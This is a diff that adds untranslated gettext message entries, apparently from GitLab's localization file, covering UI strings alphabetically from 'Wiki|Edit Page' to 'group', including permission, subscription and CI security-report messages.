+msgid "Wiki|Edit Page"
+msgstr ""
+
+msgid "Wiki|New page"
+msgstr ""
+
+msgid "Wiki|Page history"
+msgstr ""
+
+msgid "Wiki|Page title"
+msgstr ""
+
+msgid "Wiki|Page version"
+msgstr ""
+
+msgid "Wiki|Pages"
+msgstr ""
+
+msgid "Wiki|Title"
+msgstr ""
+
+msgid "Wiki|View All Pages"
+msgstr ""
+
+msgid "Wiki|Wiki Pages"
+msgstr ""
+
+msgid "Will be created"
+msgstr ""
+
+msgid "Will be mapped to"
+msgstr ""
+
+msgid "Will deploy to"
+msgstr ""
+
+msgid "With requirements, you can set criteria to check your products against."
+msgstr ""
+
+msgid "Withdraw Access Request"
+msgstr ""
+
+msgid "Won't fix / Accept risk"
+msgstr ""
+
+msgid "Work in progress (open and unassigned)"
+msgstr ""
+
+msgid "Work in progress Limit"
+msgstr ""
+
+msgid "Workflow Help"
+msgstr ""
+
+msgid "Write"
+msgstr ""
+
+msgid "Write a comment or drag your files here…"
+msgstr ""
+
+msgid "Write a comment…"
+msgstr ""
+
+msgid "Write access allowed"
+msgstr ""
+
+msgid "Write milestone description..."
+msgstr ""
+
+msgid "Write your release notes or drag your files here…"
+msgstr ""
+
+msgid "Wrong extern UID provided. Make sure Auth0 is configured correctly."
+msgstr ""
+
+msgid "Yes"
+msgstr ""
+
+msgid "Yes or No"
+msgstr ""
+
+msgid "Yes, add it"
+msgstr ""
+
+msgid "Yes, close issue"
+msgstr ""
+
+msgid "Yes, delete project"
+msgstr ""
+
+msgid "Yes, let me map Google Code users to full names or GitLab users."
+msgstr ""
+
+msgid "Yesterday"
+msgstr ""
+
+msgid "You"
+msgstr ""
+
+msgid "You already have pending todo for this alert"
+msgstr ""
+
+msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
+msgstr ""
+
+msgid "You are about to permanently delete this project"
+msgstr ""
+
+msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
+msgstr ""
+
+msgid "You are an admin, which means granting access to %{client_name} will allow them to interact with GitLab as an admin as well. Proceed with caution."
+msgstr ""
+
+msgid "You are attempting to delete a file that has been previously updated."
+msgstr ""
+
+msgid "You are attempting to update a file that has changed since you started editing it."
+msgstr ""
+
+msgid "You are connected to the Prometheus server, but there is currently no data to display."
+msgstr ""
+
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
+msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
+msgstr ""
+
+msgid "You are not allowed to unlink your primary login account"
+msgstr ""
+
+msgid "You are not authorized to perform this action"
+msgstr ""
+
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
+msgid "You are now impersonating %{username}"
+msgstr ""
+
+msgid "You are on a read-only GitLab instance."
+msgstr ""
+
+msgid "You are receiving this message because you are a GitLab administrator for %{url}."
+msgstr ""
+
+msgid "You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico."
+msgstr ""
+
+msgid "You are using PostgreSQL %{pg_version_current}, but PostgreSQL %{pg_version_minimum} is required for this version of GitLab. Please upgrade your environment to a supported PostgreSQL version, see %{pg_requirements_url} for details."
+msgstr ""
+
+msgid "You can %{linkStart}view the blob%{linkEnd} instead."
+msgstr ""
+
+msgid "You can also create a project from the command line."
+msgstr ""
+
+msgid "You can also press &#8984;-Enter"
+msgstr ""
+
+msgid "You can also press Ctrl-Enter"
+msgstr ""
+
+msgid "You can also star a label to make it a priority label."
+msgstr ""
+
+msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
+msgstr ""
+
+msgid "You can also upload existing files from your computer using the instructions below."
+msgstr ""
+
+msgid "You can always edit this later"
+msgstr ""
+
+msgid "You can apply your Trial to your Personal account or create a New Group."
+msgstr ""
+
+msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
+msgstr ""
+
+msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
+msgstr ""
+
+msgid "You can create new ones at your %{pat_link_start}Personal Access Tokens%{pat_link_end} settings"
+msgstr ""
+
+msgid "You can create new ones at your Personal Access Tokens settings %{pat_link}"
+msgstr ""
+
+msgid "You can easily contribute to them by requesting to join these groups."
+msgstr ""
+
+msgid "You can easily install a Runner on a Kubernetes cluster. %{link_to_help_page}"
+msgstr ""
+
+msgid "You can filter by 'days to merge' by clicking on the columns in the chart."
+msgstr ""
+
+msgid "You can generate an access token scoped to this project for each application to use the GitLab API."
+msgstr ""
+
+msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
+msgstr ""
+
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
+
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
+
+msgid "You can invite another group to %{project_name}."
+msgstr ""
+
+msgid "You can move around the graph by using the arrow keys."
+msgstr ""
+
+msgid "You can notify the app / group or a project by sending them an email notification"
+msgstr ""
+
+msgid "You can now export your security dashboard to a CSV report."
+msgstr ""
+
+msgid "You can now manage alert endpoint configuration in the Alerts section on the Operations settings page. Fields on this page have been deprecated."
+msgstr ""
+
+msgid "You can now submit a merge request to get this change into the original branch."
+msgstr ""
+
+msgid "You can now submit a merge request to get this change into the original project."
+msgstr ""
+
+msgid "You can only edit files when you are on a branch"
+msgstr ""
+
+msgid "You can only merge once the items above are resolved."
+msgstr ""
+
+msgid "You can only merge once this merge request is approved."
+msgstr ""
+
+msgid "You can only transfer the project to namespaces you manage."
+msgstr ""
+
+msgid "You can only upload one design when dropping onto an existing design."
+msgstr ""
+
+msgid "You can recover this project until %{date}"
+msgstr ""
+
+msgid "You can resolve the merge conflict using either the Interactive mode, by choosing %{use_ours} or %{use_theirs} buttons, or by editing the files directly. Commit these changes into %{branch_name}"
+msgstr ""
+
+msgid "You can see your chat accounts."
+msgstr ""
+
+msgid "You can set up as many Runners as you need to run your jobs."
+msgstr ""
+
+msgid "You can set up jobs to only use Runners with specific tags. Separate tags with commas."
+msgstr ""
+
+msgid "You can specify notification level per group or per project."
+msgstr ""
+
+msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
+msgstr ""
+
+msgid "You can try again using %{begin_link}basic search%{end_link}"
+msgstr ""
+
+msgid "You cannot access the raw file. Please wait a minute."
+msgstr ""
+
+msgid "You cannot impersonate a blocked user"
+msgstr ""
+
+msgid "You cannot impersonate a user who cannot log in"
+msgstr ""
+
+msgid "You cannot impersonate an internal user"
+msgstr ""
+
+msgid "You cannot play this scheduled pipeline at the moment. Please wait a minute."
+msgstr ""
+
+msgid "You cannot write to a read-only secondary GitLab Geo instance. Please use %{link_to_primary_node} instead."
+msgstr ""
+
+msgid "You cannot write to this read-only GitLab instance."
+msgstr ""
+
+msgid "You could not create a new trigger."
+msgstr ""
+
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgstr ""
+
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
+msgstr ""
+
+msgid "You do not have an active license"
+msgstr ""
+
+msgid "You do not have any subscriptions yet"
+msgstr ""
+
+msgid "You do not have permission to leave this %{namespaceType}."
+msgstr ""
+
+msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
+msgstr ""
+
+msgid "You do not have permissions to run the import."
+msgstr ""
+
+msgid "You do not have the correct permissions to override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "You don't have any U2F devices registered yet."
+msgstr ""
+
+msgid "You don't have any active chat names."
+msgstr ""
+
+msgid "You don't have any applications"
+msgstr ""
+
+msgid "You don't have any authorized applications"
+msgstr ""
+
+msgid "You don't have any deployments right now."
+msgstr ""
+
+msgid "You don't have any open merge requests"
+msgstr ""
+
+msgid "You don't have any projects available."
+msgstr ""
+
+msgid "You don't have any recent searches"
+msgstr ""
+
+msgid "You don't have sufficient permission to perform this action."
+msgstr ""
+
+msgid "You don't have write access to the source branch."
+msgstr ""
+
+msgid "You don’t have access to Productivity Analytics in this group"
+msgstr ""
+
+msgid "You don’t have access to Value Stream Analytics for this group"
+msgstr ""
+
+msgid "You have a license that activates at a future date. Please see the License History table below."
+msgstr ""
+
+msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
+msgstr ""
+
+msgid "You have been granted %{access_level} access to the %{source_name} %{source_type}."
+msgstr ""
+
+msgid "You have been granted %{member_human_access} access to %{title} %{name}."
+msgstr ""
+
+msgid "You have been invited"
+msgstr ""
+
+msgid "You have been unsubscribed from this thread."
+msgstr ""
+
+msgid "You have declined the invitation to join %{title} %{name}."
+msgstr ""
+
+msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
+msgstr ""
+
+msgid "You have insufficient permissions to create a Todo for this alert"
+msgstr ""
+
+msgid "You have no permissions"
+msgstr ""
+
+msgid "You have not added any approvers. Start by adding users or groups."
+msgstr ""
+
+msgid "You have reached your project limit"
+msgstr ""
+
+msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
+msgstr ""
+
+msgid "You haven't added any issues to your project yet"
+msgstr ""
+
+msgid "You haven't selected any issues yet"
+msgstr ""
+
+msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
+msgstr ""
+
+msgid "You may close the milestone now."
+msgstr ""
+
+msgid "You must accept our Terms of Service and privacy policy in order to register an account"
+msgstr ""
+
+msgid "You must disassociate %{domain} from all clusters it is attached to before deletion."
+msgstr ""
+
+msgid "You must have maintainer access to force delete a lock"
+msgstr ""
+
+msgid "You must have permission to create a project in a group before forking."
+msgstr ""
+
+msgid "You must have permission to create a project in a namespace before forking."
+msgstr ""
+
+msgid "You must provide a valid current password"
+msgstr ""
+
+msgid "You must provide your current password in order to change it."
+msgstr ""
+
+msgid "You must select a stack for configuring your cloud provider. Learn more about"
+msgstr ""
+
+msgid "You must set up incoming email before it becomes active."
+msgstr ""
+
+msgid "You must upload a file with the same file name when dropping onto an existing design."
+msgstr ""
+
+msgid "You need a different license to enable FileLocks feature"
+msgstr ""
+
+msgid "You need git-lfs version %{min_git_lfs_version} (or greater) to continue. Please visit https://git-lfs.github.com"
+msgstr ""
+
+msgid "You need permission."
+msgstr ""
+
+msgid "You need to be logged in."
+msgstr ""
+
+msgid "You need to register a two-factor authentication app before you can set up a U2F device."
+msgstr ""
+
+msgid "You need to set terms to be enforced"
+msgstr ""
+
+msgid "You need to specify both an Access Token and a Host URL."
+msgstr ""
+
+msgid "You need to upload a GitLab project export archive (ending in .gz)."
+msgstr ""
+
+msgid "You need to upload a Google Takeout archive."
+msgstr ""
+
+msgid "You reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgstr ""
+
+msgid "You tried to fork %{link_to_the_project} but it failed for the following reason:"
+msgstr ""
+
+msgid "You will be removed from existing projects/groups"
+msgstr ""
+
+msgid "You will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
+msgstr ""
+
+msgid "You will first need to set up Jira Integration to use this feature."
+msgstr ""
+
+msgid "You will lose all changes you've made to this file. This action cannot be undone."
+msgstr ""
+
+msgid "You will lose all uncommitted changes you've made in this project. This action cannot be undone."
+msgstr ""
+
+msgid "You will need to update your local repositories to point to the new location."
+msgstr ""
+
+msgid "You will not get any notifications via email"
+msgstr ""
+
+msgid "You will only receive notifications for the events you choose"
+msgstr ""
+
+msgid "You will only receive notifications for threads you have participated in"
+msgstr ""
+
+msgid "You will receive notifications for any activity"
+msgstr ""
+
+msgid "You will receive notifications only for comments in which you were @mentioned"
+msgstr ""
+
+msgid "You won't be able to create new projects because you have reached your project limit."
+msgstr ""
+
+msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
+
+msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgstr ""
+
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
+msgid "You'll be signed out from your current account automatically."
+msgstr ""
+
+msgid "You'll need to use different branch names to get a valid comparison."
+msgstr ""
+
+msgid "You're about to reduce the visibility of the project %{strong_start}%{project_name}%{strong_end} in %{strong_start}%{group_name}%{strong_end}."
+msgstr ""
+
+msgid "You're about to reduce the visibility of the project %{strong_start}%{project_name}%{strong_end}."
+msgstr ""
+
+msgid "You're at the first commit"
+msgstr ""
+
+msgid "You're at the last commit"
+msgstr ""
+
+msgid "You're not allowed to %{tag_start}edit%{tag_end} files in this project directly. Please fork this project, make your changes there, and submit a merge request."
+msgstr ""
+
+msgid "You're not allowed to make changes to this project directly. A fork of this project has been created that you can make changes in, so you can submit a merge request."
+msgstr ""
+
+msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
+msgstr ""
+
+msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
+msgid "You're receiving this email because of your account on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because of your account on %{host}. %{manage_notifications_link} &middot; %{help_link}"
+msgstr ""
+
+msgid "You're receiving this email because of your activity on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because you have been assigned an item on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because you have been mentioned on %{host}."
+msgstr ""
+
+msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
+msgstr ""
+
+msgid "YouTube"
+msgstr ""
+
+msgid "Your %{host} account was signed in to from a new location"
+msgstr ""
+
+msgid "Your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} will expire on %{strong}%{expires_on}%{strong_close}."
+msgstr ""
+
+msgid "Your %{strong}%{plan_name}%{strong_close} subscription will expire on %{strong}%{expires_on}%{strong_close}. After that, you will not to be able to create issues or merge requests as well as many other features."
+msgstr ""
+
+msgid "Your CSV export has started. It will be emailed to %{email} when complete."
+msgstr ""
+
+msgid "Your CSV export of %{issues_count} from project %{project_link} has been added to this email as an attachment."
+msgstr ""
+
+msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
+msgstr ""
+
+msgid "Your Commit Email will be used for web based operations, such as edits and merges."
+msgstr ""
+
+msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgstr ""
+
+msgid "Your GPG keys (%{count})"
+msgstr ""
+
+msgid "Your GitLab group"
+msgstr ""
+
+msgid "Your Gitlab Gold trial will last 30 days after which point you can keep your free Gitlab account forever. We just need some additional information to activate your trial."
+msgstr ""
+
+msgid "Your Groups"
+msgstr ""
+
+msgid "Your License"
+msgstr ""
+
+msgid "Your Personal Access Tokens will expire in %{days_to_expire} days or less"
+msgstr ""
+
+msgid "Your Primary Email will be used for avatar detection."
+msgstr ""
+
+msgid "Your Projects (default)"
+msgstr ""
+
+msgid "Your Projects' Activity"
+msgstr ""
+
+msgid "Your Public Email will be displayed on your public profile."
+msgstr ""
+
+msgid "Your SSH keys (%{count})"
+msgstr ""
+
+msgid "Your To-Do List"
+msgstr ""
+
+msgid "Your U2F device did not send a valid JSON response."
+msgstr ""
+
+msgid "Your U2F device needs to be set up. Plug it in (if not already) and click the button on the left."
+msgstr ""
+
+msgid "Your U2F device was registered!"
+msgstr ""
+
+msgid "Your access request to the %{source_type} has been withdrawn."
+msgstr ""
+
+msgid "Your account has been deactivated by your administrator. Please log back in to reactivate your account."
+msgstr ""
+
+msgid "Your account is locked."
+msgstr ""
+
+msgid "Your account uses dedicated credentials for the \"%{group_name}\" group and can only be updated through SSO."
+msgstr ""
+
+msgid "Your applications (%{size})"
+msgstr ""
+
+msgid "Your authorized applications"
+msgstr ""
+
+msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
+msgstr ""
+
+msgid "Your changes can be committed to %{branch_name} because a merge request is open."
+msgstr ""
+
+msgid "Your changes have been committed. Commit %{commitId} %{commitStats}"
+msgstr ""
+
+msgid "Your changes have been saved"
+msgstr ""
+
+msgid "Your changes have been successfully committed."
+msgstr ""
+
+msgid "Your comment could not be submitted because %{error}"
+msgstr ""
+
+msgid "Your comment could not be submitted! Please check your network connection and try again."
+msgstr ""
+
+msgid "Your comment could not be updated! Please check your network connection and try again."
+msgstr ""
+
+msgid "Your comment will be discarded."
+msgstr ""
+
+msgid "Your custom stage '%{title}' was created"
+msgstr ""
+
+msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
+msgstr ""
+
+msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
+msgstr ""
+
+msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
+msgstr ""
+
+msgid "Your device was successfully set up! Give it a name and register it with the GitLab server."
+msgstr ""
+
+msgid "Your first project"
+msgstr ""
+
+msgid "Your groups"
+msgstr ""
+
+msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
+msgstr ""
+
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
+msgid "Your instance is approaching its licensed user count"
+msgstr ""
+
+msgid "Your issues are being imported. Once finished, you'll get a confirmation email."
+msgstr ""
+
+msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
+msgstr ""
+
+msgid "Your license is valid from"
+msgstr ""
+
+msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
+msgstr ""
+
+msgid "Your message here"
+msgstr ""
+
+msgid "Your name"
+msgstr ""
+
+msgid "Your new %{type}"
+msgstr ""
+
+msgid "Your new SCIM token"
+msgstr ""
+
+msgid "Your new personal access token has been created."
+msgstr ""
+
+msgid "Your new project access token has been created."
+msgstr ""
+
+msgid "Your password isn't required to view this page. If a password or any other personal details are requested, please contact your administrator to report abuse."
+msgstr ""
+
+msgid "Your password reset token has expired."
+msgstr ""
+
+msgid "Your personal access token has expired"
+msgstr ""
+
+msgid "Your profile"
+msgstr ""
+
+msgid "Your project limit is %{limit} projects! Please contact your administrator to increase it"
+msgstr ""
+
+msgid "Your projects"
+msgstr ""
+
+msgid "Your request for access could not be processed: %{error_meesage}"
+msgstr ""
+
+msgid "Your request for access has been queued for review."
+msgstr ""
+
+msgid "Your response has been recorded."
+msgstr ""
+
+msgid "Your search didn't match any commits."
+msgstr ""
+
+msgid "Your search didn't match any commits. Try a different query."
+msgstr ""
+
+msgid "Your subscription expired!"
+msgstr ""
+
+msgid "Your subscription has been downgraded."
+msgstr ""
+
+msgid "Your subscription will expire in %{remaining_days}."
+msgstr ""
+
+msgid "Zoom meeting added"
+msgstr ""
+
+msgid "Zoom meeting removed"
+msgstr ""
+
+msgid "[No reason]"
+msgstr ""
+
+msgid "a deleted user"
+msgstr ""
+
+msgid "a design"
+msgstr ""
+
+msgid "about 1 hour"
+msgid_plural "about %d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "access:"
+msgstr ""
+
+msgid "activated"
+msgstr ""
+
+msgid "added %{created_at_timeago}"
+msgstr ""
+
+msgid "added a Zoom call to this issue"
+msgstr ""
+
+msgid "ago"
+msgstr ""
+
+msgid "alert"
+msgstr ""
+
+msgid "allowed to fail"
+msgstr ""
+
+msgid "already being used for another group or project %{timebox_name}."
+msgstr ""
+
+msgid "already has a \"created\" issue link"
+msgstr ""
+
+msgid "already shared with this group"
+msgstr ""
+
+msgid "among other things"
+msgstr ""
+
+msgid "and"
+msgstr ""
+
+msgid "any-approver for the merge request already exists"
+msgstr ""
+
+msgid "any-approver for the project already exists"
+msgstr ""
+
+msgid "approved by: "
+msgstr ""
+
+msgid "archived"
+msgstr ""
+
+msgid "archived:"
+msgstr ""
+
+msgid "as %{role}."
+msgstr ""
+
+msgid "assign yourself"
+msgstr ""
+
+msgid "at risk"
+msgstr ""
+
+msgid "attach a new file"
+msgstr ""
+
+msgid "authored"
+msgstr ""
+
+msgid "blocks"
+msgstr ""
+
+msgid "branch name"
+msgstr ""
+
+msgid "by"
+msgstr ""
+
+msgid "by %{user}"
+msgstr ""
+
+msgid "cannot be changed if a personal project has container registry tags."
+msgstr ""
+
+msgid "cannot be enabled unless all domains have TLS certificates"
+msgstr ""
+
+msgid "cannot be modified"
+msgstr ""
+
+msgid "cannot block others"
+msgstr ""
+
+msgid "cannot contain HTML/XML tags, including any word between angle brackets (&lt;,&gt;)."
+msgstr ""
+
+msgid "cannot include leading slash or directory traversal."
+msgstr ""
+
+msgid "cannot itself be blocked"
+msgstr ""
+
+msgid "cannot merge"
+msgstr ""
+
+msgid "child-pipeline"
+msgstr ""
+
+msgid "ciReport|%{degradedNum} degraded"
+msgstr ""
+
+msgid "ciReport|%{improvedNum} improved"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Container Scanning %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Coverage Fuzzing %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about DAST %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Dependency Scanning %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about SAST %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Secret Scanning %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about codequality reports %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{remainingPackagesCount} more"
+msgstr ""
+
+msgid "ciReport|%{reportType} is loading"
+msgstr ""
+
+msgid "ciReport|%{reportType}: Loading resulted in an error"
+msgstr ""
+
+msgid "ciReport|%{sameNum} same"
+msgstr ""
+
+msgid "ciReport|(errors when loading results)"
+msgstr ""
+
+msgid "ciReport|(is loading)"
+msgstr ""
+
+msgid "ciReport|(is loading, errors when loading results)"
+msgstr ""
+
+msgid "ciReport|All projects"
+msgstr ""
+
+msgid "ciReport|All scanners"
+msgstr ""
+
+msgid "ciReport|All severities"
+msgstr ""
+
+msgid "ciReport|Automatically apply the patch in a new branch"
+msgstr ""
+
+msgid "ciReport|Base pipeline codequality artifact not found"
+msgstr ""
+
+msgid "ciReport|Browser performance test metrics: "
+msgstr ""
+
+msgid "ciReport|Browser performance test metrics: No changes"
+msgstr ""
+
+msgid "ciReport|Checks"
+msgstr ""
+
+msgid "ciReport|Code quality"
+msgstr ""
+
+msgid "ciReport|Container Scanning"
+msgstr ""
+
+msgid "ciReport|Container scanning"
+msgstr ""
+
+msgid "ciReport|Container scanning detects known vulnerabilities in your docker images."
+msgstr ""
+
+msgid "ciReport|Coverage Fuzzing"
+msgstr ""
+
+msgid "ciReport|Coverage Fuzzing Title"
+msgstr ""
+
+msgid "ciReport|Coverage fuzzing"
+msgstr ""
+
+msgid "ciReport|Create a merge request to implement this solution, or download and apply the patch manually."
+msgstr ""
+
+msgid "ciReport|Create issue"
+msgstr ""
+
+msgid "ciReport|DAST"
+msgstr ""
+
+msgid "ciReport|Dependency Scanning"
+msgstr ""
+
+msgid "ciReport|Dependency Scanning detects known vulnerabilities in your source code's dependencies."
+msgstr ""
+
+msgid "ciReport|Dependency scanning"
+msgstr ""
+
+msgid "ciReport|Download patch to resolve"
+msgstr ""
+
+msgid "ciReport|Download the patch to apply it manually"
+msgstr ""
+
+msgid "ciReport|Dynamic Application Security Testing (DAST) detects known vulnerabilities in your web application."
+msgstr ""
+
+msgid "ciReport|Failed to load %{reportName} report"
+msgstr ""
+
+msgid "ciReport|Fixed"
+msgstr ""
+
+msgid "ciReport|Fixed:"
+msgstr ""
+
+msgid "ciReport|Found %{issuesWithCount}"
+msgstr ""
+
+msgid "ciReport|Investigate this vulnerability by creating an issue"
+msgstr ""
+
+msgid "ciReport|Learn more about interacting with security reports"
+msgstr ""
+
+msgid "ciReport|Load performance test metrics: "
+msgstr ""
+
+msgid "ciReport|Load performance test metrics: No changes"
+msgstr ""
+
+msgid "ciReport|Loading %{reportName} report"
+msgstr ""
+
+msgid "ciReport|Manage licenses"
+msgstr ""
+
+msgid "ciReport|New"
+msgstr ""
+
+msgid "ciReport|No changes to code quality"
+msgstr ""
+
+msgid "ciReport|No code quality issues found"
+msgstr ""
+
+msgid "ciReport|RPS"
+msgstr ""
+
+msgid "ciReport|Resolve with merge request"
+msgstr ""
+
+msgid "ciReport|SAST"
+msgstr ""
+
+msgid "ciReport|Secret Detection"
+msgstr ""
+
+msgid "ciReport|Secret scanning"
+msgstr ""
+
+msgid "ciReport|Secret scanning detects secrets and credentials vulnerabilities in your source code."
+msgstr ""
+
+msgid "ciReport|Security scanning"
+msgstr ""
+
+msgid "ciReport|Security scanning failed loading any results"
+msgstr ""
+
+msgid "ciReport|Solution"
+msgstr ""
+
+msgid "ciReport|Static Application Security Testing (SAST) detects known vulnerabilities in your source code."
+msgstr ""
+
+msgid "ciReport|TTFB P90"
+msgstr ""
+
+msgid "ciReport|TTFB P95"
+msgstr ""
+
+msgid "ciReport|There was an error creating the issue. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error creating the merge request. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error dismissing the vulnerability. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error fetching the codequality report."
+msgstr ""
+
+msgid "ciReport|There was an error reverting the dismissal. Please try again."
+msgstr ""
+
+msgid "ciReport|Used by %{packagesString}"
+msgid_plural "ciReport|Used by %{packagesString}, and %{lastPackage}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ciReport|View full report"
+msgstr ""
+
+msgid "closed issue"
+msgstr ""
+
+msgid "comment"
+msgstr ""
+
+msgid "commented on %{link_to_project}"
+msgstr ""
+
+msgid "commit %{commit_id}"
+msgstr ""
+
+msgid "committed"
+msgstr ""
+
+msgid "connecting"
+msgstr ""
+
+msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
+msgstr ""
+
+msgid "container_name cannot be larger than %{max_length} chars"
+msgstr ""
+
+msgid "could not read private key, is the passphrase correct?"
+msgstr ""
+
+msgid "created"
+msgstr ""
+
+msgid "created %{timeAgo}"
+msgstr ""
+
+msgid "customize"
+msgstr ""
+
+msgid "data"
+msgstr ""
+
+msgid "date must not be after 9999-12-31"
+msgstr ""
+
+msgid "day"
+msgid_plural "days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "default branch"
+msgstr ""
+
+msgid "deleted"
+msgstr ""
+
+msgid "deploy"
+msgstr ""
+
+msgid "design"
+msgstr ""
+
+msgid "designs"
+msgstr ""
+
+msgid "detached"
+msgstr ""
+
+msgid "disabled"
+msgstr ""
+
+msgid "does not exist"
+msgstr ""
+
+msgid "does not have a supported extension. Only %{extension_list} are supported"
+msgstr ""
+
+msgid "done"
+msgstr ""
+
+msgid "download it"
+msgstr ""
+
+msgid "draft"
+msgid_plural "drafts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "e.g. %{token}"
+msgstr ""
+
+msgid "element is not a hierarchy"
+msgstr ""
+
+msgid "email '%{email}' does not match the allowed domains of %{email_domains}"
+msgstr ""
+
+msgid "email '%{email}' is not a verified email."
+msgstr ""
+
+msgid "enabled"
+msgstr ""
+
+msgid "encrypted: needs to be a :required, :optional or :migrating!"
+msgstr ""
+
+msgid "entries cannot be larger than 255 characters"
+msgstr ""
+
+msgid "entries cannot be nil"
+msgstr ""
+
+msgid "entries cannot contain HTML tags"
+msgstr ""
+
+msgid "epic"
+msgstr ""
+
+msgid "error"
+msgstr ""
+
+msgid "error code:"
+msgstr ""
+
+msgid "estimateCommand|%{slash_command} will update the estimated time with the latest command."
+msgstr ""
+
+msgid "exceeds the limit of %{bytes} bytes"
+msgstr ""
+
+msgid "exceeds the limit of %{bytes} bytes for directory name \"%{dirname}\""
+msgstr ""
+
+msgid "expired on %{timebox_due_date}"
+msgstr ""
+
+msgid "expires on %{timebox_due_date}"
+msgstr ""
+
+msgid "failed"
+msgstr ""
+
+msgid "failed to dismiss associated finding(id=%{finding_id}): %{message}"
+msgstr ""
+
+msgid "file"
+msgid_plural "files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "finding is not found or is already attached to a vulnerability"
+msgstr ""
+
+msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch}"
+msgstr ""
+
+msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch} into %{link_to_merge_request_target_branch}"
+msgstr ""
+
+msgid "for %{link_to_pipeline_ref}"
+msgstr ""
+
+msgid "for %{ref}"
+msgstr ""
+
+msgid "for this project"
+msgstr ""
+
+msgid "fork this project"
+msgstr ""
+
+msgid "from"
+msgstr ""
+
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "group"
+msgstr ""
+
